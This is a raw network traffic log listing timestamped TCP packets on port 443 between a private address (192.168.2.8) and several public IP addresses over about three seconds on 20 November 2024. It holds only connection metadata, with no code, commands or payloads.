Nov 20, 2024 13:27:51.363622904 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.363637924 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.363723993 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.363749027 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.363760948 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.363785028 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.363810062 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.363837957 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.390691042 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.391072035 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.391088963 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.391174078 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.391187906 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.391196966 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.391237020 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.435337067 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.451601982 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.451615095 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.451656103 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.451673985 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.451742887 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.451750994 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.451803923 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.454396009 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.454406977 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.454427958 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.454528093 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.454534054 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.454585075 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.483114004 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483124018 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483141899 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483151913 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483166933 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483189106 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.483227968 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.483333111 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.485272884 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.485281944 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.485306025 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.485328913 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.485449076 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.485449076 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.485460997 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.485568047 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.496498108 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.496592045 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.496607065 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.496653080 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.497056007 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.497067928 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.497081041 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.497108936 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.501889944 CET	49704	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:51.502290010 CET	49704	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:51.504611015 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:51.504636049 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:51.505330086 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:51.505330086 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:51.505367041 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:51.508589029 CET	443	49704	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:51.508865118 CET	443	49704	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:51.513067961 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:51.513103008 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:51.513159037 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:51.513400078 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:51.513410091 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:51.571093082 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.571121931 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.571253061 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.571253061 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.571269035 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.571610928 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.572608948 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.572633982 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.572711945 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.572711945 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.572721004 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.572923899 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.573919058 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.573942900 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.574004889 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.574012041 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.574191093 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.575845957 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.575870037 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.575959921 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.575959921 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.575967073 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.576111078 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.664047956 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664071083 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664150953 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.664166927 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664242029 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.664333105 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664349079 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664413929 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.664421082 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664463043 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.664905071 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.664922953 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.665025949 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.665031910 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.665241003 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.665251017 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.665385962 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.665465117 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.665740013 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.665766954 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.665819883 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.665824890 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.665885925 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.665914059 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.665930986 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.665954113 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.666024923 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.666193008 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.667023897 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.667037964 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.739407063 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.739434958 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.739599943 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.740051031 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.740062952 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.926362038 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.926388025 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.926446915 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.926858902 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.926870108 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.099400997 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.099487066 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.218816042 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.218835115 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.219769001 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.219891071 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.221328974 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.221391916 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.221683979 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.267333031 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.287224054 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.287537098 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.287554979 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.288465977 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.288527012 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.288965940 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.289019108 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.289978981 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.289987087 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.406423092 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.406439066 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.406522036 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.406534910 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.406543970 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.406548977 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.406600952 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.455123901 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.455207109 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.456695080 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.456705093 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.457031012 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.458463907 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.497433901 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.497442961 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.497483969 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.497490883 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.497509956 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.497528076 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.497560978 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.499336004 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.499759912 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499779940 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499814034 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499816895 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.499829054 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499840975 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499880075 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.499905109 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.499957085 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.500119925 CET	49742	443	192.168.2.8	13.107.246.43
Nov 20, 2024 13:27:52.500133991 CET	443	49742	13.107.246.43	192.168.2.8
Nov 20, 2024 13:27:52.535033941 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.535118103 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.535341978 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.535341978 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.537329912 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.537329912 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.537350893 CET	443	49741	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:52.539212942 CET	49741	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:52.724986076 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.725312948 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.725327969 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.725672007 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.726072073 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.726159096 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.726270914 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.771332979 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.786958933 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.787158012 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.787264109 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.797907114 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.797930002 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.797940016 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:52.797945976 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:52.835956097 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.835977077 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.835989952 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.836077929 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.836103916 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.836154938 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.922794104 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.922821045 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.922918081 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.922934055 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.922979116 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.925606012 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.925622940 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.925671101 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:52.925678015 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:52.925728083 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.008099079 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.008117914 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.008186102 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.008194923 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.008255005 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.009931087 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.009947062 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.010024071 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.010030985 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.010073900 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.012489080 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.012506962 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.012576103 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.012583017 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.012620926 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.014384031 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.014400005 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.014461040 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.014468908 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.014520884 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.092417002 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.092439890 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.092484951 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.092506886 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.092529058 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.092547894 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.093770027 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.093785048 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.093823910 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.093836069 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.093862057 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.093893051 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.094796896 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.094810009 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.094867945 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.094878912 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.094914913 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.096575022 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.096591949 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.096687078 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.096699953 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.096745968 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.097601891 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.097616911 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.097668886 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.097677946 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.097716093 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.098500967 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.098551989 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.098556995 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.098566055 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.098588943 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.098612070 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.127835989 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.155420065 CET	49745	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.155431986 CET	443	49745	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.265188932 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.265233994 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.265347958 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.265778065 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.265790939 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.903167009 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.903434038 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.903479099 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.904552937 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.904627085 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.905004025 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.905073881 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:53.905230999 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:53.905245066 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.014488935 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.014520884 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.014617920 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.014646053 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.014655113 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.014688969 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.099132061 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.099147081 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.099271059 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.099299908 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.099314928 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.099390030 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.099390984 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.101670980 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.101687908 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.101731062 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.101768970 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.101785898 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.101811886 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.101823092 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.101881027 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.184720993 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.184773922 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.184834957 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.184875011 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.184904099 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.184958935 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.186497927 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.186574936 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.186604023 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.186616898 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.186644077 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.186661959 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.189065933 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.189120054 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.189163923 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.189177036 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.189203978 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.189222097 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.191191912 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.191236973 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.191272974 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.191286087 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.191340923 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.191340923 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.269912004 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.269948006 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.270024061 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.270093918 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.270132065 CET	49750	443	192.168.2.8	13.107.246.45
